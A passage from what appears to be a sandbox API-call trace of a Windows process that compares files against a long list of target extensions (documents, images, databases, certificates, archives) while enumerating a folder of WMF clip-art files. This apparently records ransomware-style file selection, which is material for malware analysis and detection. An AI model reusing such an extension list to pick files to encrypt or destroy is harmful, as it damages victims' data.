returned 4 [0239.014] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".j2k") returned 4 [0239.014] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".java") returned 5 [0239.014] lstrcmpiW (lpString1=".java", lpString2="_.WMF") returned -1 [0239.014] lstrlenW (lpString=".jp2") returned 4 [0239.014] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".jpc") returned 4 [0239.014] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".jpe") returned 4 [0239.014] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".jpeg") returned 5 [0239.014] lstrcmpiW (lpString1=".jpeg", lpString2="_.WMF") returned -1 [0239.014] lstrlenW (lpString=".jpf") returned 4 [0239.014] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".jpg") returned 4 [0239.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".jpx") returned 4 [0239.014] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".js") returned 3 [0239.014] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0239.014] lstrlenW (lpString=".jsf") returned 4 [0239.014] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".json") returned 5 [0239.014] lstrcmpiW (lpString1=".json", lpString2="_.WMF") returned -1 [0239.014] lstrlenW (lpString=".jsp") returned 4 [0239.014] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".kdc") returned 4 [0239.014] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".kmz") returned 4 [0239.014] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".kwm") returned 4 [0239.014] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0239.014] lstrlenW (lpString=".lasso") returned 6 [0239.015] lstrcmpiW (lpString1=".lasso", lpString2="9_.WMF") returned -1 [0239.015] lstrlenW (lpString=".lbi") returned 4 [0239.015] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".lgf") returned 4 [0239.015] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".lgp") returned 4 [0239.015] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".log") returned 4 [0239.015] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".m1v") returned 4 [0239.015] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".m4a") returned 4 [0239.015] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".m4v") returned 4 [0239.015] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".max") returned 4 [0239.015] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".md") returned 3 [0239.015] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0239.015] lstrlenW (lpString=".mda") returned 4 [0239.015] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mdb") returned 4 [0239.015] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mde") returned 4 [0239.015] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mdf") returned 4 [0239.015] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mdw") returned 4 [0239.015] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mef") returned 4 [0239.015] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mft") returned 4 [0239.015] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mfw") returned 4 [0239.015] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mht") returned 4 [0239.015] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0239.015] lstrlenW (lpString=".mhtml") returned 6 [0239.016] lstrcmpiW (lpString1=".mhtml", lpString2="9_.WMF") returned -1 [0239.016] lstrlenW (lpString=".mka") returned 4 [0239.016] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mkidx") returned 6 [0239.016] lstrcmpiW (lpString1=".mkidx", lpString2="9_.WMF") returned -1 [0239.016] lstrlenW (lpString=".mkv") returned 4 [0239.016] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mos") returned 4 [0239.016] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mov") returned 4 [0239.016] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mp3") returned 4 [0239.016] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mp4") returned 4 [0239.016] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mpeg") returned 5 [0239.016] lstrcmpiW (lpString1=".mpeg", lpString2="_.WMF") returned -1 [0239.016] lstrlenW (lpString=".mpg") returned 4 [0239.016] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mpv") returned 4 [0239.016] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mrw") returned 4 [0239.016] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".msg") returned 4 [0239.016] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".mxl") returned 4 [0239.016] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".myd") returned 4 [0239.016] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".myi") returned 4 [0239.016] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".nef") returned 4 [0239.016] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".nrw") returned 4 [0239.016] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".obj") returned 4 [0239.016] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0239.016] lstrlenW (lpString=".odb") returned 4 [0239.017] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".odc") returned 4 [0239.017] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".odm") returned 4 [0239.017] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".odp") returned 4 [0239.017] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".ods") returned 4 [0239.017] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".oft") returned 4 [0239.017] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".one") returned 4 [0239.017] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".onepkg") returned 7 [0239.017] lstrcmpiW (lpString1=".onepkg", lpString2="59_.WMF") returned -1 [0239.017] lstrlenW (lpString=".onetoc2") returned 8 [0239.017] lstrcmpiW (lpString1=".onetoc2", lpString2="659_.WMF") returned -1 [0239.017] lstrlenW (lpString=".opt") returned 4 [0239.017] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".oqy") returned 4 [0239.017] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".orf") returned 4 [0239.017] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".p12") returned 4 [0239.017] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".p7b") returned 4 [0239.017] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".p7c") returned 4 [0239.017] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".pam") returned 4 [0239.017] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".pbm") returned 4 [0239.017] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".pct") returned 4 [0239.017] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".pcx") returned 4 [0239.017] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0239.017] lstrlenW (lpString=".pdd") returned 4 [0239.017] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pdf") returned 4 [0239.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pdp") returned 4 [0239.018] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pef") returned 4 [0239.018] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pem") returned 4 [0239.018] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pff") returned 4 [0239.018] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pfm") returned 4 [0239.018] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pfx") returned 4 [0239.018] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pgm") returned 4 [0239.018] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".php") returned 4 [0239.018] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".php3") returned 5 [0239.018] lstrcmpiW (lpString1=".php3", lpString2="_.WMF") returned -1 [0239.018] lstrlenW (lpString=".php4") returned 5 [0239.018] lstrcmpiW (lpString1=".php4", lpString2="_.WMF") returned -1 [0239.018] lstrlenW (lpString=".php5") returned 5 [0239.018] lstrcmpiW (lpString1=".php5", lpString2="_.WMF") returned -1 [0239.018] lstrlenW (lpString=".phtml") returned 6 [0239.018] lstrcmpiW (lpString1=".phtml", lpString2="9_.WMF") returned -1 [0239.018] lstrlenW (lpString=".pict") returned 5 [0239.018] lstrcmpiW (lpString1=".pict", lpString2="_.WMF") returned -1 [0239.018] lstrlenW (lpString=".pl") returned 3 [0239.018] lstrcmpiW (lpString1=".pl", lpString2="WMF") returned -1 [0239.018] lstrlenW (lpString=".pls") returned 4 [0239.018] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pm") returned 3 [0239.018] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0239.018] lstrlenW (lpString=".png") returned 4 [0239.018] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0239.018] lstrlenW (lpString=".pnm") returned 4 [0239.018] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".pot") returned 4 [0239.019] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".potm") returned 5 [0239.019] lstrcmpiW (lpString1=".potm", lpString2="_.WMF") returned -1 [0239.019] lstrlenW (lpString=".potx") returned 5 [0239.019] lstrcmpiW (lpString1=".potx", lpString2="_.WMF") returned -1 [0239.019] lstrlenW (lpString=".ppa") returned 4 [0239.019] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".ppam") returned 5 [0239.019] lstrcmpiW (lpString1=".ppam", lpString2="_.WMF") returned -1 [0239.019] lstrlenW (lpString=".ppm") returned 4 [0239.019] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".pps") returned 4 [0239.019] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".ppsm") returned 5 [0239.019] lstrcmpiW (lpString1=".ppsm", lpString2="_.WMF") returned -1 [0239.019] lstrlenW (lpString=".ppt") returned 4 [0239.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".pptm") returned 5 [0239.019] lstrcmpiW (lpString1=".pptm", lpString2="_.WMF") returned -1 [0239.019] lstrlenW (lpString=".pptx") returned 5 [0239.019] lstrcmpiW (lpString1=".pptx", lpString2="_.WMF") returned -1 [0239.019] lstrlenW (lpString=".prn") returned 4 [0239.019] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".ps") returned 3 [0239.019] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0239.019] lstrlenW (lpString=".psb") returned 4 [0239.019] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".psd") returned 4 [0239.019] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".pst") returned 4 [0239.019] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".ptx") returned 4 [0239.019] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".pub") returned 4 [0239.019] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0239.019] lstrlenW (lpString=".pwm") returned 4 [0239.019] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0239.020] lstrlenW (lpString=".pxr") returned 4 [0239.020] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0239.020] lstrlenW (lpString=".py") returned 3 [0239.020] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0239.020] lstrlenW (lpString=".qt") returned 3 [0239.020] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0239.020] lstrlenW (lpString=".r3d") returned 4 [0239.020] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0239.020] lstrlenW (lpString=".raf") returned 4 [0239.020] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0239.020] lstrlenW (lpString=".rar") returned 4 [0239.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.020] lstrlenW (lpString=".raw") returned 4 [0239.020] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0239.020] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0239.020] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0239.020] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02071_.WMF", cAlternateFileName="")) returned 1 [0239.020] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0239.021] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0239.021] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0239.021] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0239.021] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0239.021] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0239.021] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0239.022] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0239.022] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0239.022] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0239.757] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2030, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105846.WMF", cAlternateFileName="")) returned 1 [0239.757] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105912.WMF", cAlternateFileName="")) returned 1 [0239.758] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105974.WMF", cAlternateFileName="")) returned 1 [0239.758] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0239.758] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0239.758] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0239.758] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0239.759] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0239.759] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0239.759] FindNextFileW (in: hFindFile=0x3af11e0, lpFindFileData=0x369f310 | out: lpFindFileData=0x369f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, 